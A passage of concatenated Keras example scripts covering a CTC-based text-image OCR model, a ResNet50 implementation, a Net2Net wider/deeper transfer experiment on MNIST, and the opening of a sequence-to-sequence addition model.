            OUTPUT_DIR, datetime.datetime.now().strftime('%A, %d. %B %Y %I.%M%p'))
        self.text_img_gen = text_img_gen
        self.num_display_words = num_display_words
        os.makedirs(self.output_dir)

    def show_edit_distance(self, num):
        num_left = num
        mean_norm_ed = 0.0
        mean_ed = 0.0
        while num_left > 0:
            word_batch = next(self.text_img_gen)[0]
            num_proc = min(word_batch['the_input'].shape[0], num_left)
            decoded_res = decode_batch(self.test_func, word_batch['the_input'][0:num_proc])
            for j in range(0, num_proc):
                edit_dist = editdistance.eval(decoded_res[j], word_batch['source_str'][j])
                mean_ed += float(edit_dist)
                mean_norm_ed += float(edit_dist) / len(word_batch['source_str'][j])
            num_left -= num_proc
        mean_norm_ed = mean_norm_ed / num
        mean_ed = mean_ed / num
        print('\nOut of %d samples:  Mean edit distance: %.3f Mean normalized edit distance: %0.3f'
              % (num, mean_ed, mean_norm_ed))

    def on_epoch_end(self, epoch, logs={}):
        self.model.save_weights(os.path.join(self.output_dir, 'weights%02d.h5' % epoch))
        self.show_edit_distance(256)
        word_batch = next(self.text_img_gen)[0]
        res = decode_batch(self.test_func, word_batch['the_input'][0:self.num_display_words])

        for i in range(self.num_display_words):
            pylab.subplot(self.num_display_words, 1, i + 1)
            pylab.imshow(word_batch['the_input'][i, 0, :, :], cmap='Greys_r')
            pylab.xlabel('Truth = \'%s\' Decoded = \'%s\'' % (word_batch['source_str'][i], res[i]))
        fig = pylab.gcf()
        fig.set_size_inches(10, 12)
        pylab.savefig(os.path.join(self.output_dir, 'e%02d.png' % epoch))
        pylab.close()

# Input Parameters
img_h = 64
img_w = 512
nb_epoch = 50
minibatch_size = 32
words_per_epoch = 16000
val_split = 0.2
val_words = int(words_per_epoch * (val_split))

# Network parameters
conv_num_filters = 16
filter_size = 3
pool_size_1 = 4
pool_size_2 = 2
time_dense_size = 32
rnn_size = 512
time_steps = img_w / (pool_size_1 * pool_size_2)

fdir = os.path.dirname(get_file('wordlists.tgz',
                                origin='http://www.isosemi.com/datasets/wordlists.tgz', untar=True))

img_gen = TextImageGenerator(monogram_file=os.path.join(fdir, 'wordlist_mono_clean.txt'),
                             bigram_file=os.path.join(fdir, 'wordlist_bi_clean.txt'),
                             minibatch_size=32,
                             img_w=img_w,
                             img_h=img_h,
                             downsample_width=img_w / (pool_size_1 * pool_size_2) - 2,
                             val_split=words_per_epoch - val_words)

act = 'relu'
input_data = Input(name='the_input', shape=(1, img_h, img_w), dtype='float32')
inner = Convolution2D(conv_num_filters, filter_size, filter_size, border_mode='same',
                      activation=act, input_shape=(1, img_h, img_w), name='conv1')(input_data)
inner = MaxPooling2D(pool_size=(pool_size_1, pool_size_1), name='max1')(inner)
inner = Convolution2D(conv_num_filters, filter_size, filter_size, border_mode='same',
                      activation=act, name='conv2')(inner)
inner = MaxPooling2D(pool_size=(pool_size_2, pool_size_2), name='max2')(inner)

conv_to_rnn_dims = ((img_h / (pool_size_1 * pool_size_2)) * conv_num_filters, img_w / (pool_size_1 * pool_size_2))
inner = Reshape(target_shape=conv_to_rnn_dims, name='reshape')(inner)
inner = Permute(dims=(2, 1), name='permute')(inner)

# cuts down input size going into RNN:
inner = TimeDistributed(Dense(time_dense_size, activation=act, name='dense1'))(inner)

# Two layers of bidirecitonal GRUs
# GRU seems to work as well, if not better than LSTM:
gru_1 = GRU(rnn_size, return_sequences=True, name='gru1')(inner)
gru_1b = GRU(rnn_size, return_sequences=True, go_backwards=True, name='gru1_b')(inner)
gru1_merged = merge([gru_1, gru_1b], mode='sum')
gru_2 = GRU(rnn_size, return_sequences=True, name='gru2')(gru1_merged)
gru_2b = GRU(rnn_size, return_sequences=True, go_backwards=True)(gru1_merged)

# transforms RNN output to character activations:
inner = TimeDistributed(Dense(img_gen.get_output_size(), name='dense2'))(merge([gru_2, gru_2b], mode='concat'))
y_pred = Activation('softmax', name='softmax')(inner)
Model(input=[input_data], output=y_pred).summary()

labels = Input(name='the_labels', shape=[img_gen.absolute_max_string_len], dtype='float32')
input_length = Input(name='input_length', shape=[1], dtype='int64')
label_length = Input(name='label_length', shape=[1], dtype='int64')
# Keras doesn't currently support loss funcs with extra parameters
# so CTC loss is implemented in a lambda layer
loss_out = Lambda(ctc_lambda_func, output_shape=(1,), name="ctc")([y_pred, labels, input_length, label_length])

lr = 0.03
# clipnorm seems to speeds up convergence
clipnorm = 5
sgd = SGD(lr=lr, decay=3e-7, momentum=0.9, nesterov=True, clipnorm=clipnorm)

model = Model(input=[input_data, labels, input_length, label_length], output=[loss_out])

# the loss calc occurs elsewhere, so use a dummy lambda func for the loss
model.compile(loss={'ctc': lambda y_true, y_pred: y_pred}, optimizer=sgd)

# captures output of softmax so we can decode the output during visualization
test_func = K.function([input_data], [y_pred])

viz_cb = VizCallback(test_func, img_gen.next_val())

model.fit_generator(generator=img_gen.next_train(), samples_per_epoch=(words_per_epoch - val_words),
                    nb_epoch=nb_epoch, validation_data=img_gen.next_val(), nb_val_samples=val_words,
                    callbacks=[viz_cb, img_gen])






'''This script demonstrates how to build a deep residual network
using the Keras functional API.

get_resnet50() returns the deep residual network model (50 layers)

Please visit Kaiming He's GitHub homepage:
https://github.com/KaimingHe
for more information.

The related paper is
'Deep Residual Learning for Image Recognition'
Kaiming He, Xiangyu Zhang, Shaoqing Ren, Jian Sun
http://arxiv.org/abs/1512.03385

Pretrained weights were converted from Kaiming He's caffe model directly.

For now we provide weights for the tensorflow backend only,
thus use 'tf' dim_ordering (e.g. input_shape=(224, 224, 3) for 224*224 color image)
would accelerate the computation, but we also provide weights for 'th' dim_ordering for compatibility.
You can set your default dim ordering in your Keras config file at ~/.keras/keras.json

please donwload them at:
http://pan.baidu.com/s/1o8pO2q2 ('th' dim ordering, for China)
http://pan.baidu.com/s/1pLanuTt ('tf' dim ordering, for China)

https://drive.google.com/open?id=0B4ChsjFJvew3NVQ2U041Q0xHRHM ('th' dim ordering, for other countries)
https://drive.google.com/open?id=0B4ChsjFJvew3NWN5THdxcTdSWmc ('tf' dim ordering, for other countries)

@author: BigMoyan, University of Electronic Science and Technology of China
'''
from __future__ import print_function
from keras.layers import merge
from keras.layers.convolutional import Convolution2D, MaxPooling2D, ZeroPadding2D, AveragePooling2D
from keras.layers.core import Dense, Activation, Flatten
from keras.layers.normalization import BatchNormalization
from keras.models import Model
from keras.layers import Input
from keras.preprocessing.image import load_img, img_to_array
import keras.backend as K
import numpy as np

# The names of layers in resnet50 are generated with the following format
# [type][stage][block]_branch[branch][layer]
# type: 'res' for conv layer, 'bn' and 'scale' for BN layer
# stage: from '2' to '5', current stage number
# block: 'a','b','c'... for different blocks in a stage
# branch: '1' for shortcut and '2' for main path
# layer: 'a','b','c'... for different layers in a block


def identity_block(input_tensor, kernel_size, filters, stage, block):
    '''The identity_block is the block that has no conv layer at shortcut

    # Arguments
        input_tensor: input tensor
        kernel_size: defualt 3, the kernel size of middle conv layer at main path
        filters: list of integers, the nb_filters of 3 conv layer at main path
        stage: integer, current stage label, used for generating layer names
        block: 'a','b'..., current block label, used for generating layer names
    '''
    dim_ordering = K.image_dim_ordering()
    nb_filter1, nb_filter2, nb_filter3 = filters
    if dim_ordering == 'tf':
        bn_axis = 3
    else:
        bn_axis = 1
    conv_name_base = 'res' + str(stage) + block + '_branch'
    bn_name_base = 'bn' + str(stage) + block + '_branch'

    out = Convolution2D(nb_filter1, 1, 1, dim_ordering=dim_ordering, name=conv_name_base + '2a')(input_tensor)
    out = BatchNormalization(axis=bn_axis, name=bn_name_base + '2a')(out)
    out = Activation('relu')(out)

    out = Convolution2D(nb_filter2, kernel_size, kernel_size, border_mode='same',
                        dim_ordering=dim_ordering, name=conv_name_base + '2b')(out)
    out = BatchNormalization(axis=bn_axis, name=bn_name_base + '2b')(out)
    out = Activation('relu')(out)

    out = Convolution2D(nb_filter3, 1, 1, dim_ordering=dim_ordering, name=conv_name_base + '2c')(out)
    out = BatchNormalization(axis=bn_axis, name=bn_name_base + '2c')(out)

    out = merge([out, input_tensor], mode='sum')
    out = Activation('relu')(out)
    return out


def conv_block(input_tensor, kernel_size, filters, stage, block, strides=(2, 2)):
    '''conv_block is the block that has a conv layer at shortcut

    # Arguments
        input_tensor: input tensor
        kernel_size: defualt 3, the kernel size of middle conv layer at main path
        filters: list of integers, the nb_filters of 3 conv layer at main path
        stage: integer, current stage label, used for generating layer names
        block: 'a','b'..., current block label, used for generating layer names

    Note that from stage 3, the first conv layer at main path is with subsample=(2,2)
    And the shortcut should has subsample=(2,2) as well
    '''
    nb_filter1, nb_filter2, nb_filter3 = filters
    dim_ordering = K.image_dim_ordering()
    if dim_ordering == 'tf':
        bn_axis = 3
    else:
        bn_axis = 1
    conv_name_base = 'res' + str(stage) + block + '_branch'
    bn_name_base = 'bn' + str(stage) + block + '_branch'

    out = Convolution2D(nb_filter1, 1, 1, subsample=strides,
                        dim_ordering=dim_ordering, name=conv_name_base + '2a')(input_tensor)
    out = BatchNormalization(axis=bn_axis, name=bn_name_base + '2a')(out)
    out = Activation('relu')(out)

    out = Convolution2D(nb_filter2, kernel_size, kernel_size, border_mode='same',
                        dim_ordering=dim_ordering, name=conv_name_base + '2b')(out)
    out = BatchNormalization(axis=bn_axis, name=bn_name_base + '2b')(out)
    out = Activation('relu')(out)

    out = Convolution2D(nb_filter3, 1, 1, dim_ordering=dim_ordering, name=conv_name_base + '2c')(out)
    out = BatchNormalization(axis=bn_axis, name=bn_name_base + '2c')(out)

    shortcut = Convolution2D(nb_filter3, 1, 1, subsample=strides,
                             dim_ordering=dim_ordering, name=conv_name_base + '1')(input_tensor)
    shortcut = BatchNormalization(axis=bn_axis, name=bn_name_base + '1')(shortcut)

    out = merge([out, shortcut], mode='sum')
    out = Activation('relu')(out)
    return out


def read_img(img_path):
    '''This function returns a preprocessed image
    '''
    dim_ordering = K.image_dim_ordering()
    mean = (103.939, 116.779, 123.68)
    img = load_img(img_path, target_size=(224, 224))
    img = img_to_array(img, dim_ordering=dim_ordering)

    if dim_ordering == 'th':
        img[0, :, :] -= mean[0]
        img[1, :, :] -= mean[1]
        img[2, :, :] -= mean[2]
        # 'RGB'->'BGR'
        img = img[::-1, :, :]
    else:
        img[:, :, 0] -= mean[0]
        img[:, :, 1] -= mean[1]
        img[:, :, 2] -= mean[2]
        img = img[:, :, ::-1]

    img = np.expand_dims(img, axis=0)
    return img


def get_resnet50():
    '''This function returns the 50-layer residual network model
    you should load pretrained weights if you want to use it directly.
    Note that since the pretrained weights is converted from caffemodel
    the order of channels for input image should be 'BGR' (the channel order of caffe)
    '''
    if K.image_dim_ordering() == 'tf':
        inp = Input(shape=(224, 224, 3))
        bn_axis = 3
    else:
        inp = Input(shape=(3, 224, 224))
        bn_axis = 1

    dim_ordering = K.image_dim_ordering()
    out = ZeroPadding2D((3, 3), dim_ordering=dim_ordering)(inp)
    out = Convolution2D(64, 7, 7, subsample=(2, 2), dim_ordering=dim_ordering, name='conv1')(out)
    out = BatchNormalization(axis=bn_axis, name='bn_conv1')(out)
    out = Activation('relu')(out)
    out = MaxPooling2D((3, 3), strides=(2, 2), dim_ordering=dim_ordering)(out)

    out = conv_block(out, 3, [64, 64, 256], stage=2, block='a', strides=(1, 1))
    out = identity_block(out, 3, [64, 64, 256], stage=2, block='b')
    out = identity_block(out, 3, [64, 64, 256], stage=2, block='c')

    out = conv_block(out, 3, [128, 128, 512], stage=3, block='a')
    out = identity_block(out, 3, [128, 128, 512], stage=3, block='b')
    out = identity_block(out, 3, [128, 128, 512], stage=3, block='c')
    out = identity_block(out, 3, [128, 128, 512], stage=3, block='d')

    out = conv_block(out, 3, [256, 256, 1024], stage=4, block='a')
    out = identity_block(out, 3, [256, 256, 1024], stage=4, block='b')
    out = identity_block(out, 3, [256, 256, 1024], stage=4, block='c')
    out = identity_block(out, 3, [256, 256, 1024], stage=4, block='d')
    out = identity_block(out, 3, [256, 256, 1024], stage=4, block='e')
    out = identity_block(out, 3, [256, 256, 1024], stage=4, block='f')

    out = conv_block(out, 3, [512, 512, 2048], stage=5, block='a')
    out = identity_block(out, 3, [512, 512, 2048], stage=5, block='b')
    out = identity_block(out, 3, [512, 512, 2048], stage=5, block='c')

    out = AveragePooling2D((7, 7), dim_ordering=dim_ordering)(out)
    out = Flatten()(out)
    out = Dense(1000, activation='softmax', name='fc1000')(out)

    model = Model(inp, out)

    return model


if __name__ == '__main__':
    weights_file = K.image_dim_ordering() + '_dim_ordering_resnet50.h5'
    resnet_model = get_resnet50()
    resnet_model.load_weights(weights_file)

    # you may download synset_words from the address given at the begining of this file
    class_table = open('synset_words.txt', 'r')
    lines = class_table.readlines()

    test_img1 = read_img('cat.jpg')
    print('Result for test 1 is:')
    print(lines[np.argmax(resnet_model.predict(test_img1)[0])])

    test_img2 = read_img('elephant.jpg')
    print('Result for test 2 is:')
    print(lines[np.argmax(resnet_model.predict(test_img2)[0])])
    class_table.close()






'''This is an implementation of Net2Net experiment with MNIST in
'Net2Net: Accelerating Learning via Knowledge Transfer'
by Tianqi Chen, Ian Goodfellow, and Jonathon Shlens

arXiv:1511.05641v4 [cs.LG] 23 Apr 2016
http://arxiv.org/abs/1511.05641

Notes
- What:
  + Net2Net is a group of methods to transfer knowledge from a teacher neural
    net to a student net,so that the student net can be trained faster than
    from scratch.
  + The paper discussed two specific methods of Net2Net, i.e. Net2WiderNet
    and Net2DeeperNet.
  + Net2WiderNet replaces a model with an equivalent wider model that has
    more units in each hidden layer.
  + Net2DeeperNet replaces a model with an equivalent deeper model.
  + Both are based on the idea of 'function-preserving transformations of
    neural nets'.
- Why:
  + Enable fast exploration of multiple neural nets in experimentation and
    design process,by creating a series of wider and deeper models with
    transferable knowledge.
  + Enable 'lifelong learning system' by gradually adjusting model complexity
    to data availability,and reusing transferable knowledge.

Experiments
- Teacher model: a basic CNN model trained on MNIST for 3 epochs.
- Net2WiderNet exepriment:
  + Student model has a wider Conv2D layer and a wider FC layer.
  + Comparison of 'random-padding' vs 'net2wider' weight initialization.
  + With both methods, student model should immediately perform as well as
    teacher model, but 'net2wider' is slightly better.
- Net2DeeperNet experiment:
  + Student model has an extra Conv2D layer and an extra FC layer.
  + Comparison of 'random-init' vs 'net2deeper' weight initialization.
  + Starting performance of 'net2deeper' is better than 'random-init'.
- Hyper-parameters:
  + SGD with momentum=0.9 is used for training teacher and student models.
  + Learning rate adjustment: it's suggested to reduce learning rate
    to 1/10 for student model.
  + Addition of noise in 'net2wider' is used to break weight symmetry
    and thus enable full capacity of student models. It is optional
    when a Dropout layer is used.

Results
- Tested with 'Theano' backend and 'th' image_dim_ordering.
- Running on GPU GeForce GTX 980M
- Performance Comparisons - validation loss values during first 3 epochs:
(1) teacher_model:             0.075    0.041    0.041
(2) wider_random_pad:          0.036    0.034    0.032
(3) wider_net2wider:           0.032    0.030    0.030
(4) deeper_random_init:        0.061    0.043    0.041
(5) deeper_net2deeper:         0.032    0.031    0.029
'''

from __future__ import print_function
import numpy as np
np.random.seed(1337)

from keras.models import Sequential
from keras.layers import Conv2D, MaxPooling2D, Dense, Flatten
from keras.optimizers import SGD
from keras.utils import np_utils
from keras.datasets import mnist

input_shape = (1, 28, 28)  # image shape
nb_class = 10  # number of class


# load and pre-process data
def preprocess_input(x):
    return x.reshape((-1, ) + input_shape) / 255.


def preprocess_output(y):
    return np_utils.to_categorical(y)

(train_x, train_y), (validation_x, validation_y) = mnist.load_data()
train_x, validation_x = map(preprocess_input, [train_x, validation_x])
train_y, validation_y = map(preprocess_output, [train_y, validation_y])
print('Loading MNIST data...')
print('train_x shape:', train_x.shape, 'train_y shape:', train_y.shape)
print('validation_x shape:', validation_x.shape,
      'validation_y shape', validation_y.shape)


# knowledge transfer algorithms
def wider2net_conv2d(teacher_w1, teacher_b1, teacher_w2, new_width, init):
    '''Get initial weights for a wider conv2d layer with a bigger nb_filter,
    by 'random-padding' or 'net2wider'.

    # Arguments
        teacher_w1: `weight` of conv2d layer to become wider,
          of shape (nb_filter1, nb_channel1, kh1, kw1)
        teacher_b1: `bias` of conv2d layer to become wider,
          of shape (nb_filter1, )
        teacher_w2: `weight` of next connected conv2d layer,
          of shape (nb_filter2, nb_channel2, kh2, kw2)
        new_width: new `nb_filter` for the wider conv2d layer
        init: initialization algorithm for new weights,
          either 'random-pad' or 'net2wider'
    '''
    assert teacher_w1.shape[0] == teacher_w2.shape[1], (
        'successive layers from teacher model should have compatible shapes')
    assert teacher_w1.shape[0] == teacher_b1.shape[0], (
        'weight and bias from same layer should have compatible shapes')
    assert new_width > teacher_w1.shape[0], (
        'new width (nb_filter) should be bigger than the existing one')

    n = new_width - teacher_w1.shape[0]
    if init == 'random-pad':
        new_w1 = np.random.normal(0, 0.1, size=(n, ) + teacher_w1.shape[1:])
        new_b1 = np.ones(n) * 0.1
        new_w2 = np.random.normal(0, 0.1, size=(
            teacher_w2.shape[0], n) + teacher_w2.shape[2:])
    elif init == 'net2wider':
        index = np.random.randint(teacher_w1.shape[0], size=n)
        factors = np.bincount(index)[index] + 1.
        new_w1 = teacher_w1[index, :, :, :]
        new_b1 = teacher_b1[index]
        new_w2 = teacher_w2[:, index, :, :] / factors.reshape((1, -1, 1, 1))
    else:
        raise ValueError('Unsupported weight initializer: %s' % init)

    student_w1 = np.concatenate((teacher_w1, new_w1), axis=0)
    if init == 'random-pad':
        student_w2 = np.concatenate((teacher_w2, new_w2), axis=1)
    elif init == 'net2wider':
        # add small noise to break symmetry, so that student model will have
        # full capacity later
        noise = np.random.normal(0, 5e-2 * new_w2.std(), size=new_w2.shape)
        student_w2 = np.concatenate((teacher_w2, new_w2 + noise), axis=1)
        student_w2[:, index, :, :] = new_w2
    student_b1 = np.concatenate((teacher_b1, new_b1), axis=0)

    return student_w1, student_b1, student_w2


def wider2net_fc(teacher_w1, teacher_b1, teacher_w2, new_width, init):
    '''Get initial weights for a wider fully connected (dense) layer
       with a bigger nout, by 'random-padding' or 'net2wider'.

    # Arguments
        teacher_w1: `weight` of fc layer to become wider,
          of shape (nin1, nout1)
        teacher_b1: `bias` of fc layer to become wider,
          of shape (nout1, )
        teacher_w2: `weight` of next connected fc layer,
          of shape (nin2, nout2)
        new_width: new `nout` for the wider fc layer
        init: initialization algorithm for new weights,
          either 'random-pad' or 'net2wider'
    '''
    assert teacher_w1.shape[1] == teacher_w2.shape[0], (
        'successive layers from teacher model should have compatible shapes')
    assert teacher_w1.shape[1] == teacher_b1.shape[0], (
        'weight and bias from same layer should have compatible shapes')
    assert new_width > teacher_w1.shape[1], (
        'new width (nout) should be bigger than the existing one')

    n = new_width - teacher_w1.shape[1]
    if init == 'random-pad':
        new_w1 = np.random.normal(0, 0.1, size=(teacher_w1.shape[0], n))
        new_b1 = np.ones(n) * 0.1
        new_w2 = np.random.normal(0, 0.1, size=(n, teacher_w2.shape[1]))
    elif init == 'net2wider':
        index = np.random.randint(teacher_w1.shape[1], size=n)
        factors = np.bincount(index)[index] + 1.
        new_w1 = teacher_w1[:, index]
        new_b1 = teacher_b1[index]
        new_w2 = teacher_w2[index, :] / factors[:, np.newaxis]
    else:
        raise ValueError('Unsupported weight initializer: %s' % init)

    student_w1 = np.concatenate((teacher_w1, new_w1), axis=1)
    if init == 'random-pad':
        student_w2 = np.concatenate((teacher_w2, new_w2), axis=0)
    elif init == 'net2wider':
        # add small noise to break symmetry, so that student model will have
        # full capacity later
        noise = np.random.normal(0, 5e-2 * new_w2.std(), size=new_w2.shape)
        student_w2 = np.concatenate((teacher_w2, new_w2 + noise), axis=0)
        student_w2[index, :] = new_w2
    student_b1 = np.concatenate((teacher_b1, new_b1), axis=0)

    return student_w1, student_b1, student_w2


def deeper2net_conv2d(teacher_w):
    '''Get initial weights for a deeper conv2d layer by net2deeper'.

    # Arguments
        teacher_w: `weight` of previous conv2d layer,
          of shape (nb_filter, nb_channel, kh, kw)
    '''
    nb_filter, nb_channel, kh, kw = teacher_w.shape
    student_w = np.zeros((nb_filter, nb_filter, kh, kw))
    for i in xrange(nb_filter):
        student_w[i, i, (kh - 1) / 2, (kw - 1) / 2] = 1.
    student_b = np.zeros(nb_filter)
    return student_w, student_b


def copy_weights(teacher_model, student_model, layer_names):
    '''Copy weights from teacher_model to student_model,
     for layers with names listed in layer_names
    '''
    for name in layer_names:
        weights = teacher_model.get_layer(name=name).get_weights()
        student_model.get_layer(name=name).set_weights(weights)


# methods to construct teacher_model and student_models
def make_teacher_model(train_data, validation_data, nb_epoch=3):
    '''Train a simple CNN as teacher model.
    '''
    model = Sequential()
    model.add(Conv2D(64, 3, 3, input_shape=input_shape,
                     border_mode='same', name='conv1'))
    model.add(MaxPooling2D(name='pool1'))
    model.add(Conv2D(64, 3, 3, border_mode='same', name='conv2'))
    model.add(MaxPooling2D(name='pool2'))
    model.add(Flatten(name='flatten'))
    model.add(Dense(64, activation='relu', name='fc1'))
    model.add(Dense(nb_class, activation='softmax', name='fc2'))
    model.compile(loss='categorical_crossentropy',
                  optimizer=SGD(lr=0.01, momentum=0.9),
                  metrics=['accuracy'])

    train_x, train_y = train_data
    history = model.fit(train_x, train_y, nb_epoch=nb_epoch,
                        validation_data=validation_data)
    return model, history


def make_wider_student_model(teacher_model, train_data,
                             validation_data, init, nb_epoch=3):
    '''Train a wider student model based on teacher_model,
       with either 'random-pad' (baseline) or 'net2wider'
    '''
    new_conv1_width = 128
    new_fc1_width = 128

    model = Sequential()
    # a wider conv1 compared to teacher_model
    model.add(Conv2D(new_conv1_width, 3, 3, input_shape=input_shape,
                     border_mode='same', name='conv1'))
    model.add(MaxPooling2D(name='pool1'))
    model.add(Conv2D(64, 3, 3, border_mode='same', name='conv2'))
    model.add(MaxPooling2D(name='pool2'))
    model.add(Flatten(name='flatten'))
    # a wider fc1 compared to teacher model
    model.add(Dense(new_fc1_width, activation='relu', name='fc1'))
    model.add(Dense(nb_class, activation='softmax', name='fc2'))

    # The weights for other layers need to be copied from teacher_model
    # to student_model, except for widened layers
    # and their immediate downstreams, which will be initialized separately.
    # For this example there are no other layers that need to be copied.

    w_conv1, b_conv1 = teacher_model.get_layer('conv1').get_weights()
    w_conv2, b_conv2 = teacher_model.get_layer('conv2').get_weights()
    new_w_conv1, new_b_conv1, new_w_conv2 = wider2net_conv2d(
        w_conv1, b_conv1, w_conv2, new_conv1_width, init)
    model.get_layer('conv1').set_weights([new_w_conv1, new_b_conv1])
    model.get_layer('conv2').set_weights([new_w_conv2, b_conv2])

    w_fc1, b_fc1 = teacher_model.get_layer('fc1').get_weights()
    w_fc2, b_fc2 = teacher_model.get_layer('fc2').get_weights()
    new_w_fc1, new_b_fc1, new_w_fc2 = wider2net_fc(
        w_fc1, b_fc1, w_fc2, new_fc1_width, init)
    model.get_layer('fc1').set_weights([new_w_fc1, new_b_fc1])
    model.get_layer('fc2').set_weights([new_w_fc2, b_fc2])

    model.compile(loss='categorical_crossentropy',
                  optimizer=SGD(lr=0.001, momentum=0.9),
                  metrics=['accuracy'])

    train_x, train_y = train_data
    history = model.fit(train_x, train_y, nb_epoch=nb_epoch,
                        validation_data=validation_data)
    return model, history


def make_deeper_student_model(teacher_model, train_data,
                              validation_data, init, nb_epoch=3):
    '''Train a deeper student model based on teacher_model,
       with either 'random-init' (baseline) or 'net2deeper'
    '''
    model = Sequential()
    model.add(Conv2D(64, 3, 3, input_shape=input_shape,
                     border_mode='same', name='conv1'))
    model.add(MaxPooling2D(name='pool1'))
    model.add(Conv2D(64, 3, 3, border_mode='same', name='conv2'))
    # add another conv2d layer to make original conv2 deeper
    if init == 'net2deeper':
        prev_w, _ = model.get_layer('conv2').get_weights()
        new_weights = deeper2net_conv2d(prev_w)
        model.add(Conv2D(64, 3, 3, border_mode='same',
                         name='conv2-deeper', weights=new_weights))
    elif init == 'random-init':
        model.add(Conv2D(64, 3, 3, border_mode='same', name='conv2-deeper'))
    else:
        raise ValueError('Unsupported weight initializer: %s' % init)
    model.add(MaxPooling2D(name='pool2'))
    model.add(Flatten(name='flatten'))
    model.add(Dense(64, activation='relu', name='fc1'))
    # add another fc layer to make original fc1 deeper
    if init == 'net2deeper':
        # net2deeper for fc layer with relu, is just an identity initializer
        model.add(Dense(64, init='identity',
                        activation='relu', name='fc1-deeper'))
    elif init == 'random-init':
        model.add(Dense(64, activation='relu', name='fc1-deeper'))
    else:
        raise ValueError('Unsupported weight initializer: %s' % init)
    model.add(Dense(nb_class, activation='softmax', name='fc2'))

    # copy weights for other layers
    copy_weights(teacher_model, model, layer_names=[
                 'conv1', 'conv2', 'fc1', 'fc2'])

    model.compile(loss='categorical_crossentropy',
                  optimizer=SGD(lr=0.001, momentum=0.9),
                  metrics=['accuracy'])

    train_x, train_y = train_data
    history = model.fit(train_x, train_y, nb_epoch=nb_epoch,
                        validation_data=validation_data)
    return model, history


# experiments setup
def net2wider_experiment():
    '''Benchmark performances of
    (1) a teacher model,
    (2) a wider student model with `random_pad` initializer
    (3) a wider student model with `Net2WiderNet` initializer
    '''
    train_data = (train_x, train_y)
    validation_data = (validation_x, validation_y)
    print('\nExperiment of Net2WiderNet ...')
    print('\nbuilding teacher model ...')
    teacher_model, _ = make_teacher_model(train_data,
                                          validation_data,
                                          nb_epoch=3)

    print('\nbuilding wider student model by random padding ...')
    make_wider_student_model(teacher_model, train_data,
                             validation_data, 'random-pad',
                             nb_epoch=3)
    print('\nbuilding wider student model by net2wider ...')
    make_wider_student_model(teacher_model, train_data,
                             validation_data, 'net2wider',
                             nb_epoch=3)


def net2deeper_experiment():
    '''Benchmark performances of
    (1) a teacher model,
    (2) a deeper student model with `random_init` initializer
    (3) a deeper student model with `Net2DeeperNet` initializer
    '''
    train_data = (train_x, train_y)
    validation_data = (validation_x, validation_y)
    print('\nExperiment of Net2DeeperNet ...')
    print('\nbuilding teacher model ...')
    teacher_model, _ = make_teacher_model(train_data,
                                          validation_data,
                                          nb_epoch=3)

    print('\nbuilding deeper student model by random init ...')
    make_deeper_student_model(teacher_model, train_data,
                              validation_data, 'random-init',
                              nb_epoch=3)
    print('\nbuilding deeper student model by net2deeper ...')
    make_deeper_student_model(teacher_model, train_data,
                              validation_data, 'net2deeper',
                              nb_epoch=3)

# run the experiments
net2wider_experiment()
net2deeper_experiment()






# -*- coding: utf-8 -*-
'''An implementation of sequence to sequence learning for performing addition
Input: "535+61"
Output: "596"
Padding is handled by using a repeated sentinel character (space)

Input may optionally be inverted, shown to increase performance in many tasks in:
"Learning to Execute"
http://arxiv.org/abs/1410.4615
and
"Sequence to Sequence Learning with Neural Networks"
http://papers.nips.cc/paper/5346-sequence-to-sequence-learning-with-neural-networks.pdf
Theoretically it introduces shorter term dependencies between source and target.

Two digits inverted:
+ One layer LSTM (128 HN), 5k training examples = 99% train/test accuracy in 55 epochs

Three digits inverted:
+ One layer LSTM (128 HN), 50k training examples = 99% train/test accuracy in 100 epochs

Four digits inverted:
+ One layer LSTM (128 HN), 400k training examples = 99% train/test accuracy in 20 epochs

Five digits inverted:
+ One layer LSTM (128 HN), 550k training examples = 99% train/test accuracy in 30 epochs

'''

from __future__ import print_function
from keras.models import Sequential
from keras.engine.training import slice_X
from keras.layers import Activation, TimeDistributed, Dense, RepeatVector, recurrent
import numpy as np
from six.moves import range


class CharacterTable(object):
    '''
    Given a set of characters:
    + Encode them to a one hot integer representation
    + Decode the one hot integer representation to their character output
    + Decode a vector of probabilities to their character output
    '''
    def __init__(self, chars, maxlen):
        self.chars = sorted(set(chars))
        self.char_indices = dict((c, i) for i, c in enumerate(self.chars))
        self.indices_char = dict((i, c) for i, c in enumerate(self.chars))
        self.maxlen = maxlen

    def encode(self, C, maxlen=None):
        maxlen = maxlen if maxlen else self.maxlen
        X = np.zeros((maxlen, len(self.chars)))
        for i, c in enumerate(C):
            X[i, self.char_indices[c]] = 1
        return X

    def decode(self, X, calc_argmax=True):
        if calc_argmax:
            X = X.argmax(axis=-1)
        return ''.join(self.indices_char[x] for x in X)


class colors:
    ok = '\033[92m'
    fail = '\033[91m'
    close = '\033[0m'

# Parameters for the model and dataset
TRAINING_SIZE = 50000
DIGITS = 3
INVERT = True
# Try replacing GRU, or SimpleRNN
RNN = recurrent.LSTM
HIDDEN_SIZE = 128
BATCH_SIZE = 128
LAYERS = 1
MAXLEN = DIGITS + 1 + DIGITS

chars = '0123456789+ '
ctable = CharacterTable(chars, MAXLEN)

questions = []
expected = []
seen = set()
print('Generating data...')
while len(questions) < TRAINING_SIZE:
    f = lambda: int(''.join(np.random.choice(list('0123456789')) for i in range(np.random.randint(1, DIGITS + 1))))
    a, b = f(), f()
    # Skip any addition questions we've already seen
    # Also skip any such that X+Y == Y+X (hence the sorting)
    key = tuple(sorted((a, b)))
    if key in seen:
        continue
    seen.add(key)
    # Pad the data with spaces such that it is always MAXLEN
    q = '{}+{}'.format(a, b)
    query = q + ' ' * (MAXLEN - len(q))
    ans = str(a + b)
    # Answers can be of maximum size DIGITS + 1
    ans += ' ' * (DIGITS + 1 - len(ans))
    if INVERT:
        query = query[::-1]
    questions.append(query)
    expected.append(ans)
print('Total addition questions:', len(questions))

print('Vectorization...')
X = np.zeros((len(questions), MAXLEN, len(chars)), dtype=np.bool)
y = np.zeros((len(questions), DIGITS + 1, len(chars)), dtype=np.bool)
for i, sentence in enumerate(questions):
    X[i] = ctable.encode(sentence, maxlen=MAXLEN)
for i, sentence in enumerate(expected):
    y[i] = ctable.encode(sentence, maxlen=DIGITS + 1)

# Shuffle (X, y) in unison as the later parts of X will almost all be larger digits
indices = np.arange(len(y))
np.random.shuffle(indices)
X = X[indices]
y = y[indices]

# Explicitly set apart 10% for validation data that we never train over
split_at = len(X) - len(X) / 10
(X_train, X_val) = (slice_X(X, 0, split_at), slice_X(X, split_at))
(y_train, y_val) = (y[:split_at], y[split_at:])

print(X_train.shape)
print(y_train.shape)

print('Build model...')
